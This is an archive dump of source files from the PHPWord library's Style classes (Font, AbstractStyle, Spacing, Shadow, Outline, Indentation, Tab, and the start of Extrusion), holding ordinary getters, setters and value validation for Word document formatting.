        return $this->hint;
    }

    /**
     * Set Font Content Type.
     *
     * @param string $value
     *
     * @return self
     */
    public function setHint($value = null)
    {
        $this->hint = $value;

        return $this;
    }

    /**
     * Get font size.
     *
     * @return float|int
     */
    public function getSize()
    {
        return $this->size;
    }

    /**
     * Set font size.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setSize($value = null)
    {
        $this->size = $this->setNumericVal($value, $this->size);

        return $this;
    }

    /**
     * Get font color.
     *
     * @return string
     */
    public function getColor()
    {
        return $this->color;
    }

    /**
     * Set font color.
     *
     * @param string $value
     *
     * @return self
     */
    public function setColor($value = null)
    {
        $this->color = $value;

        return $this;
    }

    /**
     * Get bold.
     *
     * @return bool
     */
    public function isBold()
    {
        return $this->bold;
    }

    /**
     * Set bold.
     *
     * @param bool $value
     *
     * @return self
     */
    public function setBold($value = true)
    {
        $this->bold = $this->setBoolVal($value, $this->bold);

        return $this;
    }

    /**
     * Get italic.
     *
     * @return bool
     */
    public function isItalic()
    {
        return $this->italic;
    }

    /**
     * Set italic.
     *
     * @param bool $value
     *
     * @return self
     */
    public function setItalic($value = true)
    {
        $this->italic = $this->setBoolVal($value, $this->italic);

        return $this;
    }

    /**
     * Get underline.
     *
     * @return string
     */
    public function getUnderline()
    {
        return $this->underline;
    }

    /**
     * Set underline.
     *
     * @param string $value
     *
     * @return self
     */
    public function setUnderline($value = self::UNDERLINE_NONE)
    {
        $this->underline = $this->setNonEmptyVal($value, self::UNDERLINE_NONE);

        return $this;
    }

    /**
     * Get superscript.
     *
     * @return bool
     */
    public function isSuperScript()
    {
        return $this->superScript;
    }

    /**
     * Set superscript.
     *
     * @param bool $value
     *
     * @return self
     */
    public function setSuperScript($value = true)
    {
        return $this->setPairedVal($this->superScript, $this->subScript, $value);
    }

    /**
     * Get subscript.
     *
     * @return bool
     */
    public function isSubScript()
    {
        return $this->subScript;
    }

    /**
     * Set subscript.
     *
     * @param bool $value
     *
     * @return self
     */
    public function setSubScript($value = true)
    {
        return $this->setPairedVal($this->subScript, $this->superScript, $value);
    }

    /**
     * Get strikethrough.
     */
    public function isStrikethrough(): ?bool
    {
        return $this->strikethrough;
    }

    /**
     * Set strikethrough.
     *
     * @param bool $value
     */
    public function setStrikethrough($value = true): self
    {
        return $this->setPairedVal($this->strikethrough, $this->doubleStrikethrough, $value);
    }

    /**
     * Get double strikethrough.
     */
    public function isDoubleStrikethrough(): ?bool
    {
        return $this->doubleStrikethrough;
    }

    /**
     * Set double strikethrough.
     *
     * @param bool $value
     */
    public function setDoubleStrikethrough($value = true): self
    {
        return $this->setPairedVal($this->doubleStrikethrough, $this->strikethrough, $value);
    }

    /**
     * Get small caps.
     *
     * @return bool
     */
    public function isSmallCaps()
    {
        return $this->smallCaps;
    }

    /**
     * Set small caps.
     *
     * @param bool $value
     *
     * @return self
     */
    public function setSmallCaps($value = true)
    {
        return $this->setPairedVal($this->smallCaps, $this->allCaps, $value);
    }

    /**
     * Get all caps.
     *
     * @return bool
     */
    public function isAllCaps()
    {
        return $this->allCaps;
    }

    /**
     * Set all caps.
     *
     * @param bool $value
     *
     * @return self
     */
    public function setAllCaps($value = true)
    {
        return $this->setPairedVal($this->allCaps, $this->smallCaps, $value);
    }

    /**
     * Get foreground/highlight color.
     *
     * @return string
     */
    public function getFgColor()
    {
        return $this->fgColor;
    }

    /**
     * Set foreground/highlight color.
     *
     * @param string $value
     *
     * @return self
     */
    public function setFgColor($value = null)
    {
        $this->fgColor = $value;

        return $this;
    }

    /**
     * Get background.
     *
     * @return string
     */
    public function getBgColor()
    {
        return $this->getChildStyleValue($this->shading, 'fill');
    }

    /**
     * Set background.
     *
     * @param string $value
     *
     * @return \PhpOffice\PhpWord\Style\Table
     */
    public function setBgColor($value = null)
    {
        $this->setShading(['fill' => $value]);
    }

    /**
     * Get scale.
     *
     * @return int
     */
    public function getScale()
    {
        return $this->scale;
    }

    /**
     * Set scale.
     *
     * @param int $value
     *
     * @return self
     */
    public function setScale($value = null)
    {
        $this->scale = $this->setIntVal($value, null);

        return $this;
    }

    /**
     * Get font spacing.
     *
     * @return float|int
     */
    public function getSpacing()
    {
        return $this->spacing;
    }

    /**
     * Set font spacing.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setSpacing($value = null)
    {
        $this->spacing = $this->setNumericVal($value, null);

        return $this;
    }

    /**
     * Get font kerning.
     *
     * @return float|int
     */
    public function getKerning()
    {
        return $this->kerning;
    }

    /**
     * Set font kerning.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setKerning($value = null)
    {
        $this->kerning = $this->setNumericVal($value, null);

        return $this;
    }

    /**
     * Get noProof (disables autocorrect).
     *
     * @return bool
     */
    public function isNoProof()
    {
        return $this->noProof;
    }

    /**
     * Set noProof (disables autocorrect).
     *
     * @param bool $value
     *
     * @return $this
     */
    public function setNoProof($value = false)
    {
        $this->noProof = $value;

        return $this;
    }

    /**
     * Get line height.
     *
     * @return float|int
     */
    public function getLineHeight()
    {
        return $this->getParagraph()->getLineHeight();
    }

    /**
     * Set lineheight.
     *
     * @param float|int|string $value
     *
     * @return self
     */
    public function setLineHeight($value)
    {
        $this->setParagraph(['lineHeight' => $value]);

        return $this;
    }

    /**
     * Get paragraph style.
     *
     * @return \PhpOffice\PhpWord\Style\Paragraph
     */
    public function getParagraph()
    {
        return $this->paragraph;
    }

    /**
     * Set Paragraph.
     *
     * @param mixed $value
     *
     * @return self
     */
    public function setParagraph($value = null)
    {
        $this->setObjectVal($value, 'Paragraph', $this->paragraph);

        return $this;
    }

    /**
     * Get rtl.
     *
     * @return ?bool
     */
    public function isRTL()
    {
        return $this->rtl ?? Settings::isDefaultRtl();
    }

    /**
     * Set rtl.
     *
     * @param ?bool $value
     *
     * @return self
     */
    public function setRTL($value = true)
    {
        $this->rtl = $this->setBoolVal($value, $this->rtl);

        return $this;
    }

    /**
     * Get shading.
     *
     * @return \PhpOffice\PhpWord\Style\Shading
     */
    public function getShading()
    {
        return $this->shading;
    }

    /**
     * Set shading.
     *
     * @param mixed $value
     *
     * @return self
     */
    public function setShading($value = null)
    {
        $this->setObjectVal($value, 'Shading', $this->shading);

        return $this;
    }

    /**
     * Get language.
     *
     * @return null|\PhpOffice\PhpWord\Style\Language
     */
    public function getLang()
    {
        return $this->lang;
    }

    /**
     * Set language.
     *
     * @param mixed $value
     *
     * @return self
     */
    public function setLang($value = null)
    {
        if (is_string($value) && $value != '') {
            $value = new Language($value);
        }
        $this->setObjectVal($value, 'Language', $this->lang);

        return $this;
    }

    /**
     * Get hidden text.
     *
     * @return bool
     */
    public function isHidden()
    {
        return $this->hidden;
    }

    /**
     * Set hidden text.
     *
     * @param bool $value
     *
     * @return self
     */
    public function setHidden($value = true)
    {
        $this->hidden = $this->setBoolVal($value, $this->hidden);

        return $this;
    }

    /**
     * Get position.
     *
     * @return int
     */
    public function getPosition()
    {
        return $this->position;
    }

    /**
     * Set position.
     *
     * @param int $value
     *
     * @return self
     */
    public function setPosition($value = null)
    {
        $this->position = $this->setIntVal($value, null);

        return $this;
    }

    /**
     * Set html css white-space value. It is expected that only pre-wrap and normal (default) are useful.
     *
     * @param null|string $value Should be one of pre-wrap, normal, nowrap, pre, pre-line, initial, inherit
     */
    public function setWhiteSpace(?string $value): self
    {
        $this->whiteSpace = Validate::validateCSSWhiteSpace($value);

        return $this;
    }

    /**
     * Get html css white-space value.
     */
    public function getWhiteSpace(): string
    {
        return $this->whiteSpace;
    }

    /**
     * Set generic font for fallback for html.
     *
     * @param string $value generic font name
     */
    public function setFallbackFont(?string $value): self
    {
        $this->fallbackFont = Validate::validateCSSGenericFont($value);

        return $this;
    }

    /**
     * Get html fallback generic font.
     */
    public function getFallbackFont(): string
    {
        return $this->fallbackFont;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Style/AbstractStyle.php000066600000017377151150442730020263 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Style;

use InvalidArgumentException;
use PhpOffice\PhpWord\Shared\Text;

/**
 * Abstract style class.
 *
 * @since 0.10.0
 */
abstract class AbstractStyle
{
    /**
     * Style name.
     *
     * @var ?string
     */
    protected $styleName;

    /**
     * Index number in Style collection for named style.
     *
     * This number starts from one and defined in Style::setStyleValues()
     *
     * @var null|int
     */
    protected $index;

    /**
     * Aliases.
     *
     * @var array
     */
    protected $aliases = [];

    /**
     * Is this an automatic style? (Used primarily in OpenDocument driver).
     *
     * @var bool
     *
     * @since 0.11.0
     */
    private $isAuto = false;

    /**
     * Get style name.
     *
     * @return ?string
     */
    public function getStyleName()
    {
        return $this->styleName;
    }

    /**
     * Set style name.
     *
     * @param string $value
     *
     * @return self
     */
    public function setStyleName($value)
    {
        $this->styleName = $value;

        return $this;
    }

    /**
     * Get index number.
     *
     * @return null|int
     */
    public function getIndex()
    {
        return $this->index;
    }

    /**
     * Set index number.
     *
     * @param null|int $value
     *
     * @return self
     */
    public function setIndex($value = null)
    {
        $this->index = $this->setIntVal($value, $this->index);

        return $this;
    }

    /**
     * Get is automatic style flag.
     *
     * @return bool
     */
    public function isAuto()
    {
        return $this->isAuto;
    }

    /**
     * Set is automatic style flag.
     *
     * @param bool $value
     *
     * @return self
     */
    public function setAuto($value = true)
    {
        $this->isAuto = $this->setBoolVal($value, $this->isAuto);

        return $this;
    }

    /**
     * Return style value of child style object, e.g. `left` from `Indentation` child style of `Paragraph`.
     *
     * @param \PhpOffice\PhpWord\Style\AbstractStyle $substyleObject
     * @param string $substyleProperty
     *
     * @return mixed
     *
     * @since 0.12.0
     */
    public function getChildStyleValue($substyleObject, $substyleProperty)
    {
        if ($substyleObject !== null) {
            $method = "get{$substyleProperty}";

            return $substyleObject->$method();
        }

        return null;
    }

    /**
     * Set style value template method.
     *
     * Some child classes have their own specific overrides.
     * Backward compability check for versions < 0.10.0 which use underscore
     * prefix for their private properties.
     * Check if the set method is exists. Throws an exception?
     *
     * @param string $key
     * @param array|int|string $value
     *
     * @return self
     */
    public function setStyleValue($key, $value)
    {
        if (isset($this->aliases[$key])) {
            $key = $this->aliases[$key];
        }

        if ($key === 'align') {
            $key = 'alignment';
        }

        $method = 'set' . Text::removeUnderscorePrefix($key);
        if (method_exists($this, $method)) {
            $this->$method($value);
        }

        return $this;
    }

    /**
     * Set style by using associative array.
     *
     * @param array $values
     *
     * @return self
     */
    public function setStyleByArray($values = [])
    {
        foreach ($values as $key => $value) {
            $this->setStyleValue($key, $value);
        }

        return $this;
    }

    /**
     * Set default for null and empty value.
     *
     * @param ?string $value
     * @param string $default
     *
     * @return string
     */
    protected function setNonEmptyVal($value, $default)
    {
        if ($value === null || $value == '') {
            $value = $default;
        }

        return $value;
    }

    /**
     * Set bool value.
     *
     * @param bool $value
     * @param bool $default
     *
     * @return bool
     */
    protected function setBoolVal($value, $default)
    {
        if (!is_bool($value)) {
            $value = $default;
        }

        return $value;
    }

    /**
     * Set numeric value.
     *
     * @param mixed $value
     * @param null|float|int $default
     *
     * @return null|float|int
     */
    protected function setNumericVal($value, $default = null)
    {
        if (!is_numeric($value)) {
            $value = $default;
        }

        return $value;
    }

    /**
     * Set integer value: Convert string that contains only numeric into integer.
     *
     * @param null|float|int|string $value
     * @param null|int $default
     *
     * @return null|int
     */
    protected function setIntVal($value, $default = null)
    {
        if (is_string($value) && (preg_match('/[^\d]/', $value) == 0)) {
            $value = (int) $value;
        }
        if (!is_numeric($value)) {
            $value = $default;
        } else {
            $value = (int) $value;
        }

        return $value;
    }

    /**
     * Set float value: Convert string that contains only numeric into float.
     *
     * @param mixed $value
     * @param null|float $default
     *
     * @return null|float
     */
    protected function setFloatVal($value, $default = null)
    {
        if (is_string($value) && (preg_match('/[^\d\.\,]/', $value) == 0)) {
            $value = (float) $value;
        }
        if (!is_numeric($value)) {
            $value = $default;
        }

        return $value;
    }

    /**
     * Set enum value.
     *
     * @param mixed $value
     * @param array $enum
     * @param mixed $default
     *
     * @return mixed
     */
    protected function setEnumVal($value = null, $enum = [], $default = null)
    {
        if ($value != null && trim($value) != '' && !empty($enum) && !in_array($value, $enum)) {
            throw new InvalidArgumentException("Invalid style value: {$value} Options:" . implode(',', $enum));
        } elseif ($value === null || trim($value) == '') {
            $value = $default;
        }

        return $value;
    }

    /**
     * Set object value.
     *
     * @param mixed $value
     * @param string $styleName
     * @param mixed &$style
     *
     * @return mixed
     */
    protected function setObjectVal($value, $styleName, &$style)
    {
        $styleClass = substr(static::class, 0, strrpos(static::class, '\\')) . '\\' . $styleName;
        if (is_array($value)) {
            /** @var \PhpOffice\PhpWord\Style\AbstractStyle $style Type hint */
            if (!$style instanceof $styleClass) {
                $style = new $styleClass();
            }
            $style->setStyleByArray($value);
        } else {
            $style = $value;
        }

        return $style;
    }

    /**
     * Set $property value and set $pairProperty = false when $value = true.
     *
     * @param bool &$property
     * @param bool &$pairProperty
     * @param bool $value
     *
     * @return self
     */
    protected function setPairedVal(&$property, &$pairProperty, $value)
    {
        $property = $this->setBoolVal($value, $property);
        if ($value === true) {
            $pairProperty = false;
        }

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Style/Spacing.php000066600000006114151150442730017046 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Style;

use PhpOffice\PhpWord\SimpleType\LineSpacingRule;

/**
 * Spacing between lines and above/below paragraph style.
 *
 * @see  http://www.datypic.com/sc/ooxml/t-w_CT_Spacing.html
 * @since 0.10.0
 */
class Spacing extends AbstractStyle
{
    /**
     * Spacing above paragraph (twip).
     *
     * @var null|float|int
     */
    private $before;

    /**
     * Spacing below paragraph (twip).
     *
     * @var null|float|int
     */
    private $after;

    /**
     * Spacing between lines in paragraph (twip).
     *
     * @var null|float|int
     */
    private $line;

    /**
     * Type of spacing between lines.
     *
     * @var string
     */
    private $lineRule = LineSpacingRule::AUTO;

    /**
     * Create a new instance.
     *
     * @param array $style
     */
    public function __construct($style = [])
    {
        $this->setStyleByArray($style);
    }

    /**
     * Get before.
     *
     * @return null|float|int
     */
    public function getBefore()
    {
        return $this->before;
    }

    /**
     * Set before.
     *
     * @param null|float|int $value
     *
     * @return self
     */
    public function setBefore($value = null)
    {
        $this->before = $this->setNumericVal($value, $this->before);

        return $this;
    }

    /**
     * Get after.
     *
     * @return null|float|int
     */
    public function getAfter()
    {
        return $this->after;
    }

    /**
     * Set after.
     *
     * @param null|float|int $value
     *
     * @return self
     */
    public function setAfter($value = null)
    {
        $this->after = $this->setNumericVal($value, $this->after);

        return $this;
    }

    /**
     * Get line.
     *
     * @return null|float|int
     */
    public function getLine()
    {
        return $this->line;
    }

    /**
     * Set distance.
     *
     * @param null|float|int $value
     *
     * @return self
     */
    public function setLine($value = null)
    {
        $this->line = $this->setNumericVal($value, $this->line);

        return $this;
    }

    /**
     * Get line rule.
     *
     * @return string
     */
    public function getLineRule()
    {
        return $this->lineRule;
    }

    /**
     * Set line rule.
     *
     * @param string $value
     *
     * @return self
     */
    public function setLineRule($value = null)
    {
        LineSpacingRule::validate($value);
        $this->lineRule = $value;

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Style/Shadow.php000066600000003505151150442730016710 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Style;

/**
 * Shadow style.
 *
 * @see  http://www.schemacentral.com/sc/ooxml/t-v_CT_Shadow.html
 * @since 0.12.0
 */
class Shadow extends AbstractStyle
{
    /**
     * Color.
     *
     * @var string
     */
    private $color;

    /**
     * Offset; Format: 3pt,3pt.
     *
     * @var string
     */
    private $offset;

    /**
     * Create a new instance.
     *
     * @param array $style
     */
    public function __construct($style = [])
    {
        $this->setStyleByArray($style);
    }

    /**
     * Get color.
     *
     * @return string
     */
    public function getColor()
    {
        return $this->color;
    }

    /**
     * Set color.
     *
     * @param string $value
     *
     * @return self
     */
    public function setColor($value = null)
    {
        $this->color = $value;

        return $this;
    }

    /**
     * Get offset.
     *
     * @return string
     */
    public function getOffset()
    {
        return $this->offset;
    }

    /**
     * Set offset.
     *
     * @param string $value
     *
     * @return self
     */
    public function setOffset($value = null)
    {
        $this->offset = $value;

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Style/Outline.php000066600000014035151150442730017102 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Style;

/**
 * Outline defines the line/border of the object.
 *
 * @see  http://www.schemacentral.com/sc/ooxml/t-v_CT_Stroke.html
 * @see  http://www.w3.org/TR/1998/NOTE-VML-19980513#_Toc416858395
 * @since 0.12.0
 */
class Outline extends AbstractStyle
{
    /**
     * Line style constants.
     *
     * @see  http://www.schemacentral.com/sc/ooxml/t-v_ST_StrokeLineStyle.html
     *
     * @const string
     */
    const LINE_SINGLE = 'single';
    const LINE_THIN_THIN = 'thinThin';
    const LINE_THIN_THICK = 'thinThick';
    const LINE_THICK_THIN = 'thickThin';
    const LINE_THICK_BETWEEN_THIN = 'thickBetweenThin';

    /**
     * Line style constants.
     *
     * @see  http://www.schemacentral.com/sc/ooxml/t-v_ST_StrokeEndCap.html
     *
     * @const string
     */
    const ENDCAP_FLAT = 'flat';
    const ENDCAP_SQUARE = 'square';
    const ENDCAP_ROUND = 'round';

    /**
     * Arrowhead type constants.
     *
     * @see  http://www.schemacentral.com/sc/ooxml/t-v_ST_StrokeArrowType.html
     *
     * @const string
     */
    const ARROW_NONE = 'none';
    const ARROW_BLOCK = 'block';
    const ARROW_CLASSIC = 'classic';
    const ARROW_OVAL = 'oval';
    const ARROW_DIAMOND = 'diamond';
    const ARROW_OPEN = 'open';

    /**
     * Unit; No set method for now.
     *
     * @var string
     */
    private $unit = 'pt';

    /**
     * Outline weight.
     *
     * @var float|int
     */
    private $weight;

    /**
     * Outline color.
     *
     * @var string
     */
    private $color;

    /**
     * Dash type.
     *
     * @var string
     */
    private $dash;

    /**
     * Line style.
     *
     * @var string
     */
    private $line;

    /**
     * End cap.
     *
     * @var string
     *
     * @see  http://www.schemacentral.com/sc/ooxml/t-v_ST_StrokeEndCap.html
     */
    private $endCap;

    /**
     * Start arrow type.
     *
     * @var string
     */
    private $startArrow;

    /**
     * End arrow type.
     *
     * @var string
     */
    private $endArrow;

    /**
     * Create a new instance.
     *
     * @param array $style
     */
    public function __construct($style = [])
    {
        $this->setStyleByArray($style);
    }

    /**
     * Get unit.
     *
     * @return string
     */
    public function getUnit()
    {
        return $this->unit;
    }

    /**
     * Get weight.
     *
     * @return float|int
     */
    public function getWeight()
    {
        return $this->weight;
    }

    /**
     * Set weight.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setWeight($value = null)
    {
        $this->weight = $this->setNumericVal($value, null);

        return $this;
    }

    /**
     * Get color.
     *
     * @return string
     */
    public function getColor()
    {
        return $this->color;
    }

    /**
     * Set color.
     *
     * @param string $value
     *
     * @return self
     */
    public function setColor($value = null)
    {
        $this->color = $value;

        return $this;
    }

    /**
     * Get dash type.
     *
     * @return string
     */
    public function getDash()
    {
        return $this->dash;
    }

    /**
     * Set dash type.
     *
     * @param string $value
     *
     * @return self
     */
    public function setDash($value = null)
    {
        $this->dash = $value;

        return $this;
    }

    /**
     * Get line style.
     *
     * @return string
     */
    public function getLine()
    {
        return $this->line;
    }

    /**
     * Set line style.
     *
     * @param string $value
     *
     * @return self
     */
    public function setLine($value = null)
    {
        $enum = [self::LINE_SINGLE, self::LINE_THIN_THIN, self::LINE_THIN_THICK,
            self::LINE_THICK_THIN, self::LINE_THICK_BETWEEN_THIN, ];
        $this->line = $this->setEnumVal($value, $enum, null);

        return $this;
    }

    /**
     * Get endCap style.
     *
     * @return string
     */
    public function getEndCap()
    {
        return $this->endCap;
    }

    /**
     * Set endCap style.
     *
     * @param string $value
     *
     * @return self
     */
    public function setEndCap($value = null)
    {
        $enum = [self::ENDCAP_FLAT, self::ENDCAP_SQUARE, self::ENDCAP_ROUND];
        $this->endCap = $this->setEnumVal($value, $enum, null);

        return $this;
    }

    /**
     * Get startArrow.
     *
     * @return string
     */
    public function getStartArrow()
    {
        return $this->startArrow;
    }

    /**
     * Set pattern.
     *
     * @param string $value
     *
     * @return self
     */
    public function setStartArrow($value = null)
    {
        $enum = [self::ARROW_NONE, self::ARROW_BLOCK, self::ARROW_CLASSIC,
            self::ARROW_OVAL, self::ARROW_DIAMOND, self::ARROW_OPEN, ];
        $this->startArrow = $this->setEnumVal($value, $enum, null);

        return $this;
    }

    /**
     * Get endArrow.
     *
     * @return string
     */
    public function getEndArrow()
    {
        return $this->endArrow;
    }

    /**
     * Set pattern.
     *
     * @param string $value
     *
     * @return self
     */
    public function setEndArrow($value = null)
    {
        $enum = [self::ARROW_NONE, self::ARROW_BLOCK, self::ARROW_CLASSIC,
            self::ARROW_OVAL, self::ARROW_DIAMOND, self::ARROW_OPEN, ];
        $this->endArrow = $this->setEnumVal($value, $enum, null);

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Style/Indentation.php000066600000005707151150442730017745 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Style;

/**
 * Paragraph indentation style.
 *
 * @see  http://www.schemacentral.com/sc/ooxml/t-w_CT_Ind.html
 * @since 0.10.0
 */
class Indentation extends AbstractStyle
{
    /**
     * Left indentation (twip).
     *
     * @var float|int
     */
    private $left = 0;

    /**
     * Right indentation (twip).
     *
     * @var float|int
     */
    private $right = 0;

    /**
     * Additional first line indentation (twip).
     *
     * @var float|int
     */
    private $firstLine = 0;

    /**
     * Indentation removed from first line (twip).
     *
     * @var float|int
     */
    private $hanging;

    /**
     * Create a new instance.
     *
     * @param array $style
     */
    public function __construct($style = [])
    {
        $this->setStyleByArray($style);
    }

    /**
     * Get left.
     *
     * @return float|int
     */
    public function getLeft()
    {
        return $this->left;
    }

    /**
     * Set left.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setLeft($value)
    {
        $this->left = $this->setNumericVal($value, $this->left);

        return $this;
    }

    /**
     * Get right.
     *
     * @return float|int
     */
    public function getRight()
    {
        return $this->right;
    }

    /**
     * Set right.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setRight($value)
    {
        $this->right = $this->setNumericVal($value, $this->right);

        return $this;
    }

    /**
     * Get first line.
     *
     * @return float|int
     */
    public function getFirstLine()
    {
        return $this->firstLine;
    }

    /**
     * Set first line.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setFirstLine($value)
    {
        $this->firstLine = $this->setNumericVal($value, $this->firstLine);

        return $this;
    }

    /**
     * Get hanging.
     *
     * @return float|int
     */
    public function getHanging()
    {
        return $this->hanging;
    }

    /**
     * Set hanging.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setHanging($value = null)
    {
        $this->hanging = $this->setNumericVal($value, $this->hanging);

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Style/Tab.php000066600000010510151150442730016163 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Style;

/**
 * Tab style.
 */
class Tab extends AbstractStyle
{
    /**
     * Tab stop types.
     *
     * @const string
     */
    const TAB_STOP_CLEAR = 'clear';
    const TAB_STOP_LEFT = 'left';
    const TAB_STOP_CENTER = 'center';
    const TAB_STOP_RIGHT = 'right';
    const TAB_STOP_DECIMAL = 'decimal';
    const TAB_STOP_BAR = 'bar';
    const TAB_STOP_NUM = 'num';

    /**
     * Tab leader types.
     *
     * @const string
     */
    const TAB_LEADER_NONE = 'none';
    const TAB_LEADER_DOT = 'dot';
    const TAB_LEADER_HYPHEN = 'hyphen';
    const TAB_LEADER_UNDERSCORE = 'underscore';
    const TAB_LEADER_HEAVY = 'heavy';
    const TAB_LEADER_MIDDLEDOT = 'middleDot';

    /**
     * Tab stop type.
     *
     * @var string
     */
    private $type = self::TAB_STOP_CLEAR;

    /**
     * Tab leader character.
     *
     * @var string
     */
    private $leader = self::TAB_LEADER_NONE;

    /**
     * Tab stop position (twip).
     *
     * @var float|int
     */
    private $position = 0;

    /**
     * Create a new instance of Tab. Both $type and $leader
     * must conform to the values put forth in the schema. If they do not
     * they will be changed to default values.
     *
     * @param string $type Defaults to 'clear' if value is not possible
     * @param int $position Must be numeric; otherwise defaults to 0
     * @param string $leader Defaults to null if value is not possible
     */
    public function __construct($type = null, $position = 0, $leader = null)
    {
        $stopTypes = [
            self::TAB_STOP_CLEAR, self::TAB_STOP_LEFT, self::TAB_STOP_CENTER,
            self::TAB_STOP_RIGHT, self::TAB_STOP_DECIMAL, self::TAB_STOP_BAR, self::TAB_STOP_NUM,
        ];
        $leaderTypes = [
            self::TAB_LEADER_NONE, self::TAB_LEADER_DOT, self::TAB_LEADER_HYPHEN,
            self::TAB_LEADER_UNDERSCORE, self::TAB_LEADER_HEAVY, self::TAB_LEADER_MIDDLEDOT,
        ];

        $this->type = $this->setEnumVal($type, $stopTypes, $this->type);
        $this->position = $this->setNumericVal($position, $this->position);
        $this->leader = $this->setEnumVal($leader, $leaderTypes, $this->leader);
    }

    /**
     * Get stop type.
     *
     * @return string
     */
    public function getType()
    {
        return $this->type;
    }

    /**
     * Set stop type.
     *
     * @param string $value
     *
     * @return self
     */
    public function setType($value)
    {
        $enum = [
            self::TAB_STOP_CLEAR, self::TAB_STOP_LEFT, self::TAB_STOP_CENTER,
            self::TAB_STOP_RIGHT, self::TAB_STOP_DECIMAL, self::TAB_STOP_BAR,
            self::TAB_STOP_NUM,
        ];
        $this->type = $this->setEnumVal($value, $enum, $this->type);

        return $this;
    }

    /**
     * Get leader.
     *
     * @return string
     */
    public function getLeader()
    {
        return $this->leader;
    }

    /**
     * Set leader.
     *
     * @param string $value
     *
     * @return self
     */
    public function setLeader($value)
    {
        $enum = [
            self::TAB_LEADER_NONE, self::TAB_LEADER_DOT, self::TAB_LEADER_HYPHEN,
            self::TAB_LEADER_UNDERSCORE, self::TAB_LEADER_HEAVY, self::TAB_LEADER_MIDDLEDOT,
        ];
        $this->leader = $this->setEnumVal($value, $enum, $this->leader);

        return $this;
    }

    /**
     * Get position.
     *
     * @return float|int
     */
    public function getPosition()
    {
        return $this->position;
    }

    /**
     * Set position.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setPosition($value)
    {
        $this->position = $this->setNumericVal($value, $this->position);

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Style/Extrusion.php000066600000004122151150442730017457 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Style;

/**
 * 3D extrusion style.
 *
 * @see  http://www.schemacentral.com/sc/ooxml/t-o_CT_Extrusion.html
 * @since 0.12.0
 */
class Extrusion extends AbstractStyle
{
    /**
     * Type constants.
     *
     * @const string
     */
    const EXTRUSION_PARALLEL = 'parallel';
